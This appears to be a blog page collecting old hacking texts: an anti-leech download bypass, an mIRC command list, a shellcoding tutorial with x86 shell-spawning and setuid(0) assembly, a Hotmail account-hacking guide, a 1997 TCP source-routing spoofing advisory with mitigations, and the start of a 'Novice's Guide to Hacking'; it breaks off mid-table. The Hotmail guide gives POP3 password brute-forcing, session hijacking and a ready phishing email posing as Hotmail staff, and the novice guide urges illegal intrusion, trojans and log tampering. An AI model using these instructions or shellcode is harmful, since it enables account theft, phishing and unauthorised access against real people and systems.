myworld: November 2014

Thursday 20 November 2014

anti leech hacking tutorial

I was just asking to know if there is some audiance before
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file

anti leech hacking tutorial

All mIRC Commands

All mIRC Commands

/ Recalls the previous command entered in the current window.
/! Recalls the last command typed in any window.
/action {action text} Sends the specifed action to the active channel or query window.
/add [-apuce] {filename.ini} Loads aliases, popups, users, commands, and events.
/ame {action text} Sends the specifed action to all channels which you are currently on.
/amsg {text} Sends the specifed message to all channels which you are currently on.
/auser {level} {nick|address} Adds a user with the specified access level to the remote users
list.
/auto [on|off|nickname|address] Toggles auto-opping of a nick or address or sets it on or off
totally.
/away {away message} Sets you away leave a message explaining that you are not currently paying
attention to IRC.
/away Sets you being back.
/ban [#channel] {nickname} [type] Bans the specified nick from the curent or given channel.
/beep {number} {delay} Locally beeps 'number' times with 'delay' in between the beeps. /channel
Pops up the channel central window (only works in a channel).
/clear Clears the entire scrollback buffer of the current window.
/ctcp {nickname} {ping|finger|version|time|userinfo|clientinfo} Does the given ctcp request on
nickname.
/closemsg {nickname} Closes the query window you have open to the specified nick.
/creq [ask | auto | ignore] Sets your DCC 'On Chat request' settings in DCC/Options.
/dcc send {nickname} {file1} {file2} {file3} ... {fileN} Sends the specified files to nick.
/dcc chat {nickname} Opens a dcc window and sends a dcc chat request to nickname.
/describe {#channel} {action text} Sends the specifed action to the specified channel window.
/dde [-r] {service} {topic} {item} [data] Allows DDE control between mIRC and other
applications.
/ddeserver [on [service name] | off] To turn on the DDE server mode, eventually with a given
service name.
/disable {#groupname} De-activates a group of commands or events.
/disconnect Forces a hard and immediate disconnect from your IRC server. Use it with care.
/dlevel {level} Changes the default user level in the remote section.
/dns {nickname | IP address | IP name} Uses your providers DNS to resolve an IP address.
/echo [nickname|#channel|status] {text} Displays the given text only to YOU on the given place
in color N.
/enable {#groupname} Activates a group of commands or events.
/events [on|off] Shows the remote events status or sets it to listening or not.
/exit Forces mIRC to closedown and exit.
/finger Does a finger on a users address.
/flood [{numberoflines} {seconds} {pausetime}] Sets a crude flood control method.
/fsend [on|off] Shows fsends status and allows you to turn dcc fast send on or off.
/fserve {nickname} {maxgets} {homedirectory} [welcome text file] Opens a fileserver.
/guser {level} {nick} [type] Adds the user to the user list with the specified level and
address type.
/help {keyword} Brings up the Basic IRC Commands section in the mIRC help file.
/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.

MoViEBoT #xdcc-help /server irc.atomic-irc.net

We strive to make IRC easier for you!

Advanced Shellcoding Techniques

***********************************************
* *
* Advanced Shellcoding Techniques - by Darawk *
* *
***********************************************

Introduction

This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. I do not claim to have invented any of these techniques, except for the one that uses the div instruction.

The multiplicity of mul

This technique was originally developed by Sorbo of darkircop.net. The mul instruction may, on the surface, seem mundane, and it's purpose obvious. However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. First some background information on the mul instruction itself.

mul performs an unsigned multiply of two integers. It takes only one operand, the other is implicitly specified by the %eax register. So, a common mul instruction might look something like this:

movl $0x0a,%eax
mul $0x0a

This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. The result is then implicitly stored in EDX:EAX. The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).

So, now comes the ever-important question. How can we use these attributes to our advantage when writing shellcode? Well, let's think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. Let's put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? The answer, as you may have guessed, is 0. I think it's about time for some example code, so here it is:

xorl %ecx,%ecx
mul %ecx

What is this shellcode doing? Well, it 0's out the %ecx register using the xor instruction, so we now know that %ecx is 0. Then it does a mul %ecx, which as we just learned, multiplies it's operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. So, regardless of %eax's previous contents, %eax must now be 0. However that's not all, %edx is 0'd now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.

The div instruction

Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. Also like, mul it stores the result of the divide in %eax. Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. But first, let's think about what is normally stored in the %eax register. The %eax register holds the return value of functions and/or syscalls. Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). So, if we know that after a syscall is performed, %eax will have a non-zero value, and that the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. It just so happens that the syscall that corresponds to the value 1 is exit(). Now for an example:

xorl %ebx,%ebx
mul %ebx
push %edx
pushl $0x3268732f
pushl $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
movb $0xb, %al #execve() syscall, doesn't return at all unless it fails, in which case it returns -1
int $0x80

divl %eax # -1 / -1 = 1
int $0x80

Now, we have a 3 byte exit function, where as before it was 5 bytes. However, there is a catch, what if a syscall does return 0? Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. Some people say that exit's are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn't worth keeping. However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can't wipe all the logs, at least this part of your presence will be clear.

Unlocking the power of leal

The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. Consider this short piece of shellcode.

xorl %ecx,%ecx
leal 0x10(%ecx),%eax

This will load the value 17 into eax, and clear all of the extraneous bits of eax. This occurs because the leal instruction loads a variable of the type long into it's desitination operand. In it's normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. However, since ecx is 0'd and 0+17=17, we load the value 17 into eax instead of any kind of actual address. In a normal shellcode we would do something like this, to accomplish the same thing:

xorl %eax,%eax
movb $0x10,%eax

I can hear you saying, but that shellcode is a byte shorter than the leal one, and you're quite right. However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn't counted. Here's an example:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

xorl %ebx,%ebx
leal 0x17(%ebx),%al
int $0x80

Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. Again, I hear you saying but that's only one byte it doesn't make that much of a difference, and you're right, here it doesn't make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.

Conclusion

I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. If you know who invented the leal technique, please tell me and I will credit him/her.

A Small Guide to Hacking HOTMAIL

From hacker@mitchell.demon.nl Mon Mar 02 20:09:04 1998
Newsgroups: alt.hacking
Subject: Hotmail Hack info !
From: Terry Mitchell <hacker@mitchell.demon.nl>
Date: Mon, 02 Mar 1998 12:09:04 -0800

HOTMAIL HACKING INFO.

I_1_I - Brute force hacking
a. Use telnet to connect to port 110 (Hotmail´s pop-server)
b. Type USER and then the victim´s username
c. Type PASS and then the guess a password
d. Repeat that until U have found the correct password.
!. This is called brute force hacking and requires patience.
It´s better than trying to guess the victims password on
hotmail homepage only because it´s faster.
____
I_2_I - The Best way
a. Get the username of the victim (It usually stands in the adress-field
)
b. Then type " www.hotmail.com/cgi-bin/start/victimsusername "
c. U´re in!
!. This hack only work if U are on the same network or computer as the
victim and if he don´t log out.
____
I_3_I - The old way
a. Go to http://www.hotmail/proxy.html
b. Now type the victims username. (press login)
c. Look at the source code.
d. On the fifth row U should find "action=someadress"
e. Copy that adress and paste it into the adress-field
f. You are in...
!. As you can see it´s a long procedure and the victim have
plenty of time to log out.
____
I_4_I - Another...
a. Go to hotmail´s homepage
b. Copy the source code.
c. Make a new html file with the same code but change method=post to
method=enter
d. "view" the page
e. Change the adress to www.hotmail.com/ (don´t press enter!)
f. Make the victim type in his username and password
g. Look in the adress-field. There you´ll see ...&password:something...
!. This is the way I use, because it lets you know the password.
(If he exits the browser U can see the password in the History folder!)

READ!
Hotmail´s sysops have changed the "system" so that the victim may log
out even
if U are inside his/her account. So don´t waste U´r time!

---

So you want to get some hotmail passwords?
This is pretty easy to do once you have got the hang of it.
If you are a beginner, I wouldn't make this your first attempt at
hacking. When you need to do is use a port surfer and surf over to
port 80. While there, you have to try and mail the user that you
want the password from. It is best to mail them using the words
"We" and "Here at Hotmail..." Most suckers fall for this and end
up giving out their password. There is another way to also, you can
get an anon mailer, and forge the addres as staff@hotmail.com. But
you have to change the reply address to go to a different addres
like user@host.com. The person that you are trying to get the pass
from MUST respond to that letter for the mail to be forwarded to you.
Have text like "Please reply to this letter with the subject "PASSWORD"
and underneith please include your user name and password.
If you have trouble Loging in withing the next few days, this is
only because we are updating our mail servers but no need to worry,
your mail will still be there. Even though the server may be down
for an hour. From the staff at Hotmail, Thank You."

A simple TCP spoofing attack

A simple TCP spoofing attack

Over the past few years TCP sequence number prediction attacks have become a
real threat against unprotected networks, taking advantage of the inherent
trust relationships present in many network installations. TCP sequence
number prediction attacks have most commonly been implemented by opening a
series of connections to the target host, and attempting to predict the
sequence number which will be used next. Many operating systems have
therefore attempted to solve this problem by implementing a method of
generating sequence numbers in unpredictable fashions. This method does
not solve the problem.

This advisory introduces an alternative method of obtaining the initial
sequence number from some common trusted services. The attack presented here
does not require the attacker to open multiple connections, or flood a port
on the trusted host to complete the attack. The only requirement is that
source routed packets can be injected into the target network with fake
source addresses.

This advisory assumes that the reader already has an understanding of how
TCP sequence number prediction attacks are implemented.

The impact of this advisory is greatly diminished due to the large number of
organizations which block source routed packets and packets with addresses
inside of their networks. Therefore we present the information as more of
a 'heads up' message for the technically inclined, and to re-iterate that
the randomization of TCP sequence numbers is not an effective solution
against this attack.

Technical Details
~~~~~~~~~~~~~~~~~

The problem occurs when particular network daemons accept connections
with source routing enabled, and proceed to disable any source routing
options on the connection. The connection is allowed to continue, however
the reverse route is no longer used. An example attack can launched against
the in.rshd daemon, which on most systems will retrieve the socket options
via getsockopt() and then turn off any dangerous options via setsockopt().

An example attack follows.

Host A is the trusted host
Host B is the target host
Host C is the attacker

Host C initiates a source routed connection to in.rshd on host B, pretending
to be host A.

Host C spoofing Host A <SYN> --> Host B in.rshd

Host B receives the initial SYN packet, creates a new PCB (protocol
control block) and associates the route with the PCB. Host B responds,
using the reverse route, sending back a SYN/ACK with the sequence number.

Host C spoofing Host A <-- <SYN/ACK> Host B in.rshd

Host C responds, still spoofing host A, acknowledging the sequence number.
Source routing options are not required on this packet.

Host C spoofing Host A <ACK> --> Host B in.rshd

We now have an established connection, the accept() call completes, and
control is now passed to the in.rshd daemon. The daemon now does IP
options checking and determines that we have initiated a source routed
connection. The daemon now turns off this option, and any packets sent
thereafter will be sent to the real host A, no longer using the reverse
route which we have specified. Normally this would be safe, however the
attacking host now knows what the next sequence number will be. Knowing
this sequence number, we can now send a spoofed packet without the source
routing options enabled, pretending to originate from Host A, and our
command will be executed.

In some conditions the flooding of a port on the real host A is required
if larger ammounts of data are sent, to prevent the real host A from
responding with an RST. This is not required in most cases when performing
this attack against in.rshd due to the small ammount of data transmitted.

It should be noted that the sequence number is obtained before accept()
has returned and that this cannot be prevented without turning off source
routing in the kernel.

As a side note, we're very lucky that TCP only associates a source route with
a PCB when the initial SYN is received. If it accepted and changed the ip
options at any point during a connection, more exotic attacks may be possible.
These could include hijacking connections across the internet without playing
a man in the middle attack and being able to bypass IP options checking
imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will
not do this, however it would be interesting to examine other implementations.

Impact
~~~~~~

The impact of this attack is similar to the more complex TCP sequence
number prediction attack, yet it involves fewer steps, and does not require
us to 'guess' the sequence number. This allows an attacker to execute
arbitrary commands as root, depending on the configuration of the target
system. It is required that trust is present here, as an example, the use
of .rhosts or hosts.equiv files.

Solutions
~~~~~~~~~

The ideal solution to this problem is to have any services which rely on
IP based authentication drop the connection completely when initially
detecting that source routed options are present. Network administrators
and users can take precautions to prevent users outside of their network
from taking advantage of this problem. The solutions are hopefully already
either implemented or being implemented.

1. Block any source routed connections into your networks
2. Block any packets with internal based address from entering your network.

Network administrators should be aware that these attacks can easily be
launched from behind filtering routers and firewalls. Internet service
providers and corporations should ensure that internal users cannot launch
the described attacks. The precautions suggested above should be implemented
to protect internal networks.

Example code to correctly process source routed packets is presented here
as an example. Please let us know if there are any problems with it.
This code has been tested on BSD based operating systems.

u_char optbuf[BUFSIZ/3];
int optsize = sizeof(optbuf), ipproto, i;
struct protoent *ip;

if ((ip = getprotobyname("ip")) != NULL)
ipproto = ip->p_proto;
else
ipproto = IPPROTO_IP;
if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) &&
optsize != 0) {
for (i = 0; i < optsize; ) {
u_char c = optbuf[i];
if (c == IPOPT_LSRR || c == IPOPT_SSRR)
exit(1);
if (c == IPOPT_EOL)
break;
i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];
}
}

One critical concern is in the case where TCP wrappers are being used. If
a user is relying on TCP wrappers, the above fix should be incorporated into
fix_options.c. The problem being that TCP wrappers itself does not close
the connection, however removes the options via setsockopt(). In this case
when control is passed to in.rshd, it will never see any options present,
and the connection will remain open (even if in.rshd has the above patch
incorporated). An option to completely drop source routed connections will
hopefully be provided in the next release of TCP wrappers. The other option
is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.
This passes through IP options and allows the called daemon to handle them
accordingly.

Disabling Source Routing
~~~~~~~~~~~~~~~~~~~~~~~~

We believe the following information to be accurate, however it is not
guaranteed.

--- Cisco

To have the router discard any datagram containing an IP source route option
issue the following command:

no ip source-route

This is a global configuration option.

--- NetBSD

Versions of NetBSD prior to 1.2 did not provide the capability for disabling
source routing. Other versions ship with source routing ENABLED by default.
We do not know of a way to prevent NetBSD from accepting source routed packets.
NetBSD systems, however, can be configured to prevent the forwarding of packets
when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0

--- BSD/OS

BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd. This
patch is availible at:

ftp://ftp.bsdi.com/bsdi/patches/patches-2.1

OR via their patches email server <patches@bsdi.com>

The patch number is
U210-037 (normal version)
D210-037 (domestic version for sites running kerberized version)

BSD/OS 2.1 has source routing disabled by default

Previous versions ship with source routing ENABLED by default. As far as
we know, BSD/OS cannot be configured to drop source routed packets destined
for itself, however can be configured to prevent the forwarding of such
packets when acting as a gateway.

To determine whether forwarding of source routed packets is enabled,
issue the following command:

# sysctl net.inet.ip.forwarding
# sysctl net.inet.ip.forwsrcrt

The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.

Forwarding of source routed packets can be turned off via:

# sysctl -w net.inet.ip.forwsrcrt=0

Forwarding of all packets in general can turned off via:

# sysctl -w net.inet.ip.forwarding=0

--- OpenBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

This will prevent OpenBSD from forwarding and accepting any source routed
packets.

--- FreeBSD

Ships with source routing turned off by default. To determine whether source
routing is enabled, the following command can be issued:

# sysctl net.inet.ip.sourceroute

The response will be either 0 or 1, 0 meaning that source routing is off,
and 1 meaning it is on. If source routing has been turned on, turn off via:

# sysctl -w net.inet.ip.sourceroute=0

--- Linux

Linux by default has source routing disabled in the kernel.

--- Solaris 2.x

Ships with source routing enabled by default. Solaris 2.5.1 is one of the
few commercial operating systems that does have unpredictable sequence
numbers, which does not help in this attack.

We know of no method to prevent Solaris from accepting source routed
connections, however, Solaris systems acting as gateways can be prevented
from forwarding any source routed packets via the following commands:

# ndd -set /dev/ip ip_forward_src_routed 0

You can prevent forwarding of all packets via:

# ndd -set /dev/ip ip_forwarding 0

These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.

--- SunOS 4.x

We know of no method to prevent SunOS from accepting source routed
connections, however a patch is availible to prevent SunOS systems from
forwarding source routed packets.

This patch is availible at:

ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz

To configure SunOS to prevent forwarding of all packets, the following
command can be issued:

# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem
# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem

The first command turns off packet forwarding in /dev/mem, the second in
/vmunix.

--- HP-UX

HP-UX does not appear to have options for configuring an HP-UX system to
prevent accepting or forwarding of source routed packets. HP-UX has IP
forwarding turned on by default and should be turned off if acting as a
firewall. To determine whether IP forwarding is currently on, the following
command can be issued:

# adb /hp-ux
ipforwarding?X <- user input
ipforwarding:
ipforwarding: 1
#

A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can
be configured to prevent the forwarding of any packets via the following
commands:

# adb -w /hp-ux /dev/kmem
ipforwarding/W 0
ipforwarding?W 0
^D
#

--- AIX

AIX cannot be configured to discard source routed packets destined for itself,
however can be configured to prevent the forwarding of source routed packets.
IP forwarding and forwarding of source routed packets specifically can be
turned off under AIX via the following commands:

To turn off forwarding of all packets:

# /usr/sbin/no -o ipforwarding=0

To turn off forwarding of source routed packets:

# /usr/sbin/no -o nonlocsrcroute=0

Note that these commands should be added to /etc/rc.net

If shutting off source routing is not possible and you are still using
services which rely on IP address authentication, they should be disabled
immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and
/etc/hosts.equiv are not used.

Attributions
~~~~~~~~~~~~

Thanks to Niels Provos <provos@physnet.uni-hamburg.de> for providing
the information and details of this attack. You can view his web
site at http://www.physnet.uni-hamburg.de/provos

Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this
information to us. More information on OpenBSD can be found at
http://www.openbsd.org

Thanks to Keith Bostic <bostic@bsdi.com> for discussion and a quick
solution for BSD/OS.

Thanks to Brad Powell <brad.powell@west.sun.com> for providing information
for Solaris 2.x and SunOS 4.x operating systems.

Thanks go to CERT and AUSCERT for recommendations in this advisory.

You can contact the author of this advisory at oliver@secnet.com

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Copyright Notice
~~~~~~~~~~~~~~~~
The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,
and may be distributed freely provided that no fee is charged for
distribution, and that proper credit is given.

You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers
and advisories at ftp://ftp.secnet.com/advisories

You can browse our web site at http://www.secnet.com

You can subscribe to our security advisory mailing list by sending mail to
majordomo@secnet.com with the line "subscribe sni-advisories"

A Novice's Guide to Hacking 2004

+++++++++++++++++++++++++++++++++++++++++++++++++
| The LOD/H Presents |
++++++++++++++++ ++++++++++++++++
\ A Novice's Guide to Hacking- 2004 edition /
\ ========================================= /
\ by /
\ The Mentor /
\ Legion of Doom/Legion of Hackers /
\ /
\ December, 2004 /
\ Merry Christmas Everyone! /
\+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/

**********************************************************************
| The author hereby grants permission to reproduce, redistribute, |
| or include this file in your g-file section, electronic or print |
| newletter, or any other form of transmission that you choose, as |
| long as it is kept intact and whole, with no ommissions, delet- |
| ions, or changes. (C) The Mentor- Phoenix Project Productions |
| 2003,2004 XXX/XXX-XXXX |
**********************************************************************

Introduction: The State of the Hack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
After surveying a rather large g-file collection, my attention was drawn to
the fact that there hasn't been a good introductory file written for absolute
beginners since back when Mark Tabas was cranking them out (and almost
*everyone* was a beginner!) The Arts of Hacking and Phreaking have changed
radically since that time, and as the 90's approach, the hack/phreak community
has recovered from the Summer '87 busts (just like it recovered from the Fall
'85 busts, and like it will always recover from attempts to shut it down), and
the progressive media (from Reality Hackers magazine to William Gibson and
Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice
of us for the first time in recent years in a positive light.
Unfortunately, it has also gotten more dangerous since the early 80's.
Phone cops have more resources, more awareness, and more intelligence that they
exhibited in the past. It is becoming more and more difficult to survive as
a hacker long enough to become skilled in the art. To this end this file
is dedicated . If it can help someone get started, and help them survive
to discover new systems and new information, it will have served it's purpose,
and served as a partial repayment to all the people who helped me out when I
was a beginner.

Contents
~~~~~~~~
This file will be divided into four parts:
Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety
Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it,
Outdials, Network Servers, Private PADs
Part 3: Identifying a Computer, How to Hack In, Operating System
Defaults
Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call,
Acknowledgements

Part One: The Basics
~~~~~~~~~~~~~~~~~~~~
As long as there have been computers, there have been hackers. In the 50's
at the Massachusets Institute of Technology (MIT), students devoted much time
and energy to ingenious exploration of the computers. Rules and the law were
disregarded in their pursuit for the 'hack'. Just as they were enthralled with
their pursuit of information, so are we. The thrill of the hack is not in
breaking the law, it's in the pursuit and capture of knowledge.
To this end, let me contribute my suggestions for guidelines to follow to
ensure that not only you stay out of trouble, but you pursue your craft without
damaging the computers you hack into or the companies who own them.

I. Do not intentionally damage *any* system.
II. Do not alter any system files other than ones needed to ensure your
escape from detection and your future access (Trojan Horses, Altering
Logs, and the like are all necessary to your survival for as long as
possible.)
III. Do not leave your (or anyone else's) real name, real handle, or real
phone number on any system that you access illegally. They *can* and
will track you down from your handle!
IV. Be careful who you share information with. Feds are getting trickier.
Generally, if you don't know their voice phone number, name, and
occupation or haven't spoken with them voice on non-info trading
conversations, be wary.
V. Do not leave your real phone number to anyone you don't know. This
includes logging on boards, no matter how k-rad they seem. If you
don't know the sysop, leave a note telling some trustworthy people
that will validate you.
VI. Do not hack government computers. Yes, there are government systems
that are safe to hack, but they are few and far between. And the
government has inifitely more time and resources to track you down than
a company who has to make a profit and justify expenses.
VII. Don't use codes unless there is *NO* way around it (you don't have a
local telenet or tymnet outdial and can't connect to anything 800...)
You use codes long enough, you will get caught. Period.
VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law.
It doesn't hurt to store everything encrypted on your hard disk, or
keep your notes buried in the backyard or in the trunk of your car.
You may feel a little funny, but you'll feel a lot funnier when you
when you meet Bruno, your transvestite cellmate who axed his family to
death.
IX. Watch what you post on boards. Most of the really great hackers in the
country post *nothing* about the system they're currently working
except in the broadest sense (I'm working on a UNIX, or a COSMOS, or
something generic. Not "I'm hacking into General Electric's Voice Mail
System" or something inane and revealing like that.)
X. Don't be afraid to ask questions. That's what more experienced hackers
are for. Don't expect *everything* you ask to be answered, though.
There are some things (LMOS, for instance) that a begining hacker
shouldn't mess with. You'll either get caught, or screw it up for
others, or both.
XI. Finally, you have to actually hack. You can hang out on boards all you
want, and you can read all the text files in the world, but until you
actually start doing it, you'll never know what it's all about. There's
no thrill quite the same as getting into your first system (well, ok,
I can think of a couple of bigger thrills, but you get the picture.)

One of the safest places to start your hacking career is on a computer
system belonging to a college. University computers have notoriously lax
security, and are more used to hackers, as every college computer depart-
ment has one or two, so are less likely to press charges if you should
be detected. But the odds of them detecting you and having the personel to
committ to tracking you down are slim as long as you aren't destructive.
If you are already a college student, this is ideal, as you can legally
explore your computer system to your heart's desire, then go out and look
for similar systems that you can penetrate with confidence, as you're already
familar with them.
So if you just want to get your feet wet, call your local college. Many of
them will provide accounts for local residents at a nominal (under $20) charge.
Finally, if you get caught, stay quiet until you get a lawyer. Don't vol-
unteer any information, no matter what kind of 'deals' they offer you.
Nothing is binding unless you make the deal through your lawyer, so you might
as well shut up and wait.

Part Two: Networks
~~~~~~~~~~~~~~~~~~
The best place to begin hacking (other than a college) is on one of the
bigger networks such as Telenet. Why? First, there is a wide variety of
computers to choose from, from small Micro-Vaxen to huge Crays. Second, the
networks are fairly well documented. It's easier to find someone who can help
you with a problem off of Telenet than it is to find assistance concerning your
local college computer or high school machine. Third, the networks are safer.
Because of the enormous number of calls that are fielded every day by the big
networks, it is not financially practical to keep track of where every call and
connection are made from. It is also very easy to disguise your location using
the network, which makes your hobby much more secure.
Telenet has more computers hooked to it than any other system in the world
once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET,
DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of
which you can connect to from your terminal.
The first step that you need to take is to identify your local dialup port.
This is done by dialing 1-800-424-9494 (1200 7E1) and connecting. It will
spout some garbage at you and then you'll get a prompt saying 'TERMINAL='.
This is your terminal type. If you have vt100 emulation, type it in now. Or
just hit return and it will default to dumb terminal mode.
You'll now get a prompt that looks like a @. From here, type @c mail <cr>
and then it will ask for a Username. Enter 'phones' for the username. When it
asks for a password, enter 'phones' again. From this point, it is menu
driven. Use this to locate your local dialup, and call it back locally. If
you don't have a local dialup, then use whatever means you wish to connect to
one long distance (more on this later.)
When you call your local dialup, you will once again go through the
TERMINAL= stuff, and once again you'll be presented with a @. This prompt lets
you know you are connected to a Telenet PAD. PAD stands for either Packet
Assembler/Disassembler (if you talk to an engineer), or Public Access Device
(if you talk to Telenet's marketing people.) The first description is more
correct.
Telenet works by taking the data you enter in on the PAD you dialed into,
bundling it into a 128 byte chunk (normally... this can be changed), and then
transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who
then takes the data and hands it down to whatever computer or system it's
connected to. Basically, the PAD allows two computers that have different baud
rates or communication protocols to communicate with each other over a long
distance. Sometimes you'll notice a time lag in the remote machines response.
This is called PAD Delay, and is to be expected when you're sending data
through several different links.
What do you do with this PAD? You use it to connect to remote computer
systems by typing 'C' for connect and then the Network User Address (NUA) of
the system you want to go to.
An NUA takes the form of 031103130002520
\___/\___/\___/
| | |
| | |____ network address
| |_________ area prefix
|______________ DNIC

This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC)
according to their country and network name.

DNIC Network Name Country DNIC Network Name Country
